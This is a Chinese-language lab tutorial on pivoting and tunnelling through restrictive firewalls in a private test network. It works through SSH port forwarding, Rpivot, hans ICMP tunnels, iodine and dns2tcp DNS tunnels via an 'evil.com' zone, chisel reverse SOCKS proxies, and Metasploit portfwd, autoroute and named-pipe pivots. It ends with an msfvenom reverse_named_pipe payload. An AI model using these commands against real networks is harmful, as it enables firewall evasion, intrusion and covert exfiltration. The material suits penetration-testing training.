1.1 环境介绍
在下图中,攻击者IP为192.168.43.140,模拟互联网环境,内部网络为172.16.10.0/24,防火墙使用pfsense,作为内部系统的网关,内网地址为172.16.10.1,外网地址为192.168.49.100/24。192.168.49.140无法直接访问内网。192.168.49.139模拟DMZ区,内部网络访问外部网络依具体情况而定。
1.2 SSH端口转发
1.2.1 本地端口转发
本地端口转发,在本地侦听端口,将请求转发到远程主机的指定端口。端口转发基于建立起来的隧道,隧道中断则端口转发中断;只能在建立隧道时创建转发,不能为已有的隧道增加端口转发。如下图,假定172.16.10.20只允许访问53端口(DNS为UDP协议,此处假定开放了TCP/UDP的53端口)。现在想要访问互联网,需将本地的某个端口转发到互联网系统的对应服务端口。
防火墙配置如下:

在上图中,防火墙只允许172.16.10.20主机53端口的出站流量,如果想要访问外部服务,需要进行本地端口转发,如下。
参数说明:
ssh user@<remote_ssh_server> -p <remote_ssh_port> -L <local port>:<web server ip>:<web server port>
-f 后台运行进程
-C 压缩数据,Requests compression of all data
-N 不执行登录shell,仅用于端口转发
-g Allows remote hosts to connect to local forwarded ports,使本受限网段主机都可以使用建立的隧道。比如同一内网的172.16.10.21,22都可以连接到kali建立的ssh隧道
1、将流量通过SSH Server(192.168.49.140)转发到SSH Server自身的端口80,并访问192.168.49.140的web服务进行测试:
ssh -fCNg sansforensics@192.168.49.140 -p53 -L 8080:127.0.0.1:80

远程主机接收到请求:
内网同网段的主机访问172.16.10.20转发的端口:
2、将流量通过ssh server转发到192.168.49.150的3389:
如下图,转发之前,无法连接192.168.49.150的3389:
转发之后进行连接测试:
ssh -fCN sansforensics@192.168.49.140 -p 53 -L 3389:192.168.49.150:3389

1.2.2 远程(reverse)端口转发
远程侦听端口,访问转发到本地主机的指定端口。在实际情况中,远程用户应该为低权限用户,无shell权限。假定172.16.10.20可以访问192.168.49.140,但192.168.49.140无法直接访问172.16.10.20。假定还是只允许53端口,现在192.168.49.140想要访问172.16.10.20上的8000端口,防火墙规则如下:

参数说明:
ssh -fCN user@<remote ssh server> -p <ssh server port> -R <remote listen port>:<forwarded ip>:<forwarded port> #远程端口转发-g参数无效
将192.168.49.140的8000端口转发到172.16.10.20的8000端口。172.16.10.20监听8000端口,如下:
进行转发:
ssh -fCN sansforensics@192.168.49.140 -p 53 -R 8000:172.16.10.20:8000
在192.168.49.140进行连接测试,可成功连接:
在Windows平台可用plink.exe(putty的命令版本):
plink.exe sshproxy@your_server -R 31337:127.0.0.1:31337
1.2.3 动态端口转发
动态隧道模式,将远程SSH Server作为代理服务器。可用于在非受信任的网络环境使通信流量不被嗅探。本地监听socks5代理端口,由SSH Server决定如何转发,可作为翻墙代理使用。在使用时需配置客户端代理(浏览器),或使用proxychains来支持无代理客户端。
在下图中,将127.16.10.20的8000端口进行动态端口转发,然后使用浏览器配置代理,即可访问外部网络,防火墙策略如下:

参数说明:
ssh -D 8000 -p <ssh server port> user@<remote ssh server>
进行转发:
配置浏览器代理并测试:
在只允许53端口的情况下,可访问外部任意网络:
1.2.4 X协议转发
X协议转发可作为远程登录Linux GUI来运行图形化工具(如VNC,X window)ssh -X user@ -p
如下图,在转发后,在172.16.10.20的kali上通过Terminal启动的图形界面工具,相当于运行在192.168.49.140上的:

1.3 Rpivot
Rpivot是一个反向的socks代理工具,用于通过socks代理隧道传输流量。它反连的你的攻击主机,并绑定一个socks代理。工作原理类似ssh -D,但方向相反。
如下图,在执行完成后,从172.16.10.20连接到192.168.49.140,然后会在192.168.49.140上绑定一个socks代理,通过此代理,可访问内部网络。防火墙规则如下:

Server端(192.168.49.140):
python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

Client端口(172.16.10.20):
python client.py --server-ip <ip> --server-port 9999

服务端设置代理:
vim /etc/proxychains.conf
如下图,在server端配置完代理后,可对无法直接访问的内网进行扫描:
proxychains nmap 172.16.10.20

1.4 ICMP隧道
如果目标网络允许向外的ICMP流量,则很可能能够建立一个ICMP隧道。缺点是需要在目标系统有root/administrator权限,因为需要用的raw sockets。ICMP隧道的工具可用hans,下载地址为https://github.com/friedrich/hans。
首先需要下载软件并编译,过程如下:
tar -xzf hans-version.tar.gz
cd hans-version
make
结果将生成hans可执行文件:
拓扑如下,内部网络172.16.10.20和172.16.10.21等只允许向外ICMP流量,现在192.168.49.140想要访问内部172.16.10.0/24网段,可使用icmp隧道
防火墙规则:
建立隧道前,只允许向往的ICMP请求:
建立ICMP隧道,Server端(攻击者机器,192.168.49.140)运行:
sudo ./hans -v -f -s 10.0.0.1 -p P@ssw0rd

如下,虚拟出接口10.0.0.1:
客户端(172.16.10.20):
hans -f -c 192.168.49.140 -p P@ssw0rd

如下,虚拟出接口10.0.0.101:
在成功连接后,内部主机将虚拟出一个地址10.0.0.101,对外部主机将直接可见:

现在,可利用172.16.10.20进入到内部网络。使用该主机作为一个默认网关或连接到管理接口(ssh/tsh/web shell),或者在ICMP隧道的基础上,再建立其他类型的隧道,如rpivot。
1.5 DNS隧道
UDP 53端口,客户端向DNS服务器查询
TCP 53端口,DNS服务器用于区域传送。
在实验中DNS服务器使用Ubuntu 16.04.5+ bind9
1.5.1 配置iodine DNS隧道
防火墙策略如下:

如上图,内网系统172.16.10.20等只能访问外部的DNS(192.168.49.150),攻击机为192.168.49.140。
DNS服务器配置如下,重点为其中黑色粗线的2条记录 t1 IN NS t1ns.evil.com.(注意最后有点号)和t1ns IN A 192.168.49.140:
;
; BIND data file for evil.com
;
$TTL 604800
evil.com. IN SOA evil.com. root.evil.com. (
2019052701 ; Serial
1D ; Refresh
2H ; Retry
1W ; Expire
2D ) ; Negative Cache TTL
IN NS delphos.evil.com.
IN MX 10 prometheus.evil.com.
delphos IN A 192.168.49.150
prometheus IN A 192.168.49.150
dns IN CNAME delphos
t1 IN NS t1ns.evil.com.
t1ns IN A 192.168.49.140
配置内网系统172.16.10.20 dns服务器并测试:
设置DNS隧道,服务端(192.168.49.140)执行:
sudo iodined -f -c -P pas$w0rd 10.0.0.1 t1.evil.com

客户端(172.16.10.20)执行:
iodine -f -P pas$w0rd t1.evil.com

结果在攻击端和客户端虚拟出了dns0接口:

现在,可在DNS隧道的基础上,建立其他类型的隧道,如rpivot,ssh端口转发等。
1.5.3 使用dns2tcp
dns2tcp可直接使用该软件,无需安装dns服务。
安装:
$ sudo apt-get install dns2tcp
$ dns2tcpd -h
Usage : dns2tcpd [ -i IP ] [ -F ] [ -d debug_level ] [ -f config-file ] [ -p pidfile ]
-F : dns2tcpd will run in foreground

服务端(192.168.49.140)编辑配置文件(/etc/dns2tcpd.conf),启动时指定配置文件:
注:资源(resource)可以是其他服务器地址。
启动服务端(192.168.49.140):
sudo dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf


客户端(172.16.10.20),以使用ssh资源为例:
dns2tcpc -c -k 123456 -d 1 -l 2222 -r ssh -z dns2tcp.evil.com 192.168.49.140
上述命令在本地(172.16.10.20)监听2222端口,将连接转发到服务端定义的ssh资源127.0.0.1:22,即192.168.49.140的22端口:
1.6 chisel
Chisel是一个快速的TCP tunnel,通过HTTP传输,SSH进行安全加密。单个的可执行文件包含客户端和服务端,下载地址:https://github.com/jpillora/chisel/releases/latest。
使用:
$ chisel --help
Usage: chisel [command] [--help]
Version: X.Y.Z
Commands:
server - runs chisel in server mode
client - runs chisel in client mode
Read more:
https://github.com/jpillora/chisel
1.6.1 本地端口转发
防火墙规则:

如上图,假定172.16.10.20只能访问192.168.49.140的53端口(tcp和udp),现在想要访问192.168.49.11的8000端口,则可在172.16.10.20进行本地端口转发,在192.168.49.140的端口53监听,将本地的8080转发到192.168.49.11的8000。
转发前:
进行端口转发,服务端(192.168.49.140):
sudo ./chisel server --host 192.168.49.140 --port 53

客户端(172.16.10.20,root权限):
./chisel client 192.168.49.140:53 127.0.0.1:8080:192.168.49.11:8000

测试结果,内网的127.0.0.1的8080端口通过192.168.49.140转发到了192.168.49.11的8000端口:
1.6.2 远程(reverse)端口转发


如图,想要访问从外网(192.168.49.0/24)访问172.16.10.20的22端口。须进行反向端口转发。将192.168.49.140的端口2222转发到172.16.10.20的22端口.
服务端(192.168.49.140):
sudo ./chisel server --host 192.168.49.140 --port 53 --reverse

客户端(172.16.10.20):
./chisel client --fingerprint 04:2d:7c:c9:7b:f0:bc:0c:73:dc:a8:2a:94:6a:26:d1 192.168.49.140:53 R:2222:localhost:22

在192.168.49.140测试结果:
1.6.3 Socks Proxy
chisel socks代理可分为正向和反向2种。
1.6.3.1 正向socks代理


如上图,内部172.16.10.0/24网段的主机只能访问192.168.49.140的53端口。现在内部主机想要访问外部网络,可通过172.16.10.20到192.168.49.140建立socks代理。
注:chisel socks不支持ICMP和DNS解析。
要建立socks代理,在服务端(192.168.49.140)执行:
sudo ./chisel server --host 192.168.49.140 --port 53 --socks5

客户端(172.16.10.20)执行:
./chisel client --fingerprint 3a:d8:58:76:ec:e5:a9:d4:4a:5b:98:6e:a4:a1:b4:0d 192.168.49.140:53 socks

测试结果:
如果想让让socks监听在0.0.0.0而不是默认的127.0.0.1,可指定本地地址,如下:
./chisel client --fingerprint 3a:d8:58:76:ec:e5:a9:d4:4a:5b:98:6e:a4:a1:b4:0d 192.168.49.140:53 0.0.0.0:8080:socks

1.6.3.2 反向socks代理


如图,172.16.10.20能够访问192.168.49.140的53端口。现在外部系统想要访问内部网络,则可在192.168.49.140上设置反向代理,具体过程如下。
服务端(192.168.49.140):
sudo sudo ./chisel server --host 192.168.49.140 --port 53 --reverse
客户端(172.16.10.20):
chisel client 192.168.49.140:53 R:8001:127.0.0.1:9001 #先将远程端口反向转发到本地9001端口
chisel server -p 9001 socks5 #在本地9001端口设置socks5代理服务器

服务端(192.168.49.140):
chisel client localhost:8001 socks

测试结果,测试,在外部系统192.168.49.140,可用proxychains,对内部系统,如172.16.10.21进行端扫描,配置proxychains:
进行端口扫描:
proxychains nmap 172.16.10.21

从外部使用socks代理连接172.16.10.21的3389:
proxychains rdesktop 172.16.10.21

1.7 Metasploit隧道及端口转发

如上图,假设已经获得了内网172.16.10.21的反向meterpreter shell。
1.7.1 端口转发(meterpreter)
端口转发为meterpreter shell提供的功能,具体参数如下:
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L: Use to specify the listening host. Unless you need the forwarding to occur on a specific network adapter you can omit this option. If none is entered 0.0.0.0 will be used.(位于攻击者端)
-R Indicates a reverse port forward.
-h Help banner.
-i <opt> Index of the port forward entry to interact with (see the "list" command).
-l: This is a local port which will listen on the attacking machine. Connections to this port will be forwarded to the remote system. Reverse: local port to connect to.
-p: The port to which TCP connections will be forward to. Reverse: remote port to listen on.
-r: The IP address the connections are relayed to (target).
Flush: This will delete all ports from our forwarding list.
将本地(192.168.49.140)的222 2转发到172.16.10.20的22端口:
portfwd add -l 2222 -p 22 -r 172.16.10.20
测试结果,在192.168.49.140(metasploit端)连接本地127.0.0.1的2222端口,将转发到172.16.10.20的22端口:
删除:
meterpreter > portfwd delete -l 2222 -p 22 -r 172.16.10.20
[*] Successfully stopped TCP relay on 0.0.0.0:2222
反向端口转发
此时将172.16.10.20(内部)的8080端口转发到192.168.49.11(外部)的8000端口,在172.16.10.20上进行测试:
meterpreter > portfwd add -R -L 192.168.49.11 -l 8000 -p 8080 -r 172.16.10.20

如上图,可在172.16.10.20上连接本地8080,将会转发到192.168.49.11的8000端口。
1.7.2 route add(msf+meterpreter)
route add为msfconsole的命令,但需要借助meterpreter session。
使用meterpreter session添加一条路由记录:
route add 172.16.10.0 255.255.255.0 3

如上图,添加了路由记录后,但在metasploit外无法看到和使用添加的路由,此时可用metasploit内建的socks代理。
use auxiliary/server/socks4a
set session 1
在设置完代理后,则可用proxychains等工具进行连接:
扫描结果:
1.7.3 autoroute(meterpreter)
use post/multi/manage/autoroute
功能和route add类型,添加完路由后再设置socks4a代理即可(下面报错信息可忽略):
1.7.4 pivot(meterpreter)
meterpreter的pivot使用命名管道,通过SMB连接而不是HTTP/HTTPS。使用SMB可以避免被很容易检测到,因为在Windows环境,本来就有许多SMB连接出现。
这里还是使用先前的网络拓扑。
参数说明:
meterpreter > pivot -h
Usage: pivot <list|add|remove> [options]
Manage pivot listeners on the target.
OPTIONS:
-a <opt> Architecture of the stage to generate
-h View help
-i <opt> Identifier of the pivot to remove
-l <opt> Host address to bind to (if applicable) ,Pipehost
-n <opt> Name of the listener entity (if applicable)
-p <opt> Platform of the stage to generate
-t <opt> Pivot listener type
# Pipehost is the compromised machine’s IP and pipename is some identifier you choose
Supported pivot types:
- pipe (using named pipes over SMB)
Supported architectures:
- x64
- x86
Supported platforms:
- windows
eg. pivot add -t pipe -l 192.168.0.1 -n msf-pipe -a x64 -p windows
pivot list
pivot remove -i 1
使用meterpreter pivot。首先创建一个pivot,在172.16.10.21将会创建一个命名管道pivot:
pivot add -t pipe -l 172.16.10.21 -n msf-pipe -a x86 -p windows

生成命名管道类型payload:
msfvenom -p windows/meterpreter/reverse_named_pipe PIPEHOST=172.16.10.21 PIPENAME=msf-pipe -f exe -o pipe.exe
在172.16.10.22(内网wndows)上执行二进制程序:
在192.168.49.140上会接收到返回的meterpreter shell(实际是先经过172.16.10.21,然后再到192.168.49.140):